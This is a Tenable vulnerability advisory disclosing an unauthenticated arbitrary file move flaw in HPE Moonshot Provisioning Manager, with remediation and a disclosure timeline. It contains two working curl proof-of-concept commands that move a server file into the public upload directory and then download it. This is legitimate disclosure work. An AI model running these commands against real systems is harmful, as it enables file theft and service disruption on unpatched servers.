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[R2] HPE Moonshot Provisioning Manager Arbitrary File Move



Tenable found a new vulnerability in HPE Moonshot Provisioning Manager (MPM) while developing a Nessus plugin to detect HPESBHF03803. An unauthenticated remote attacker can use the web interface to move arbitrary files to the HPE MPM upload directory: /opt/hp/moonshot/upload. The unauthenticated attacker can then retrieve the moved file from https://[target]/upload.

The server uses normal mv semantics when moving the file. As such, this vulnerability can also be a denial of service attack. However, the MPM web server runs as the user moonshot:moonshot so the scope of damage is largely limited to the web server files.

The following curl command moves the file server_response.py to the upload directory as my_file:

[[email protected]]$ curl -kd "isofile.savepath=/opt/hp/moonshot/tinkerbell/cgi-bin/server_response.py&isofile.filename=myfile"  https://[target]/cgi-bin/khuploadfile.cgi
File Upload Success

The attacker can then grab the file with this curl command:

[[email protected]]$ curl -k https://[target]/upload/myfile
import cgi
import os.path
import cgitb

debug = False
if os.path.exists("/tmp/khupload"):
    debug = True
    fout = open("/tmp/server_response.log", "w")

... Truncated ...


Upgrade to HPE Moonshot version 1.24 or later.

Disclosure Timeline

01-26-2018 - Vulnerability discovered.
02-15-2018 - Informed [email protected] of the vulnerability and our intention to disclose on May 17, 2018.
02-16-2018 - HP PSIRT acknowledges receipt and assigns PSRT110665.
03-12-2018 - HP indicates the bug has moved to development.
04-12-2018 - HP asks for PoC to validate their fix.
04-12-2018 - Tenable provides the original two curl commands.
04-12-2018 - HP acknowledges the commands.
05-07-2018 - HP asks who to credit on the bulletin.
05-07-2018 - Tenable responds.
06-07-2018 - Tenable asks for status.
06-08-2018 - HP indicates the patch isn't ready yet.
06-08-2018 - Tenable informs HP of intent to publish an advisory.
06-08-2018 - HP acknowledges Tenable's intent and asks that the pending bulletin number, HPESBHF03843, be included in the advisory.
06-08-2018 - Tenable agrees.
06-25-2018 - HP informs Tenable of a planned advisory release.
06-26-2018 - HP releases their advisory.

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Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

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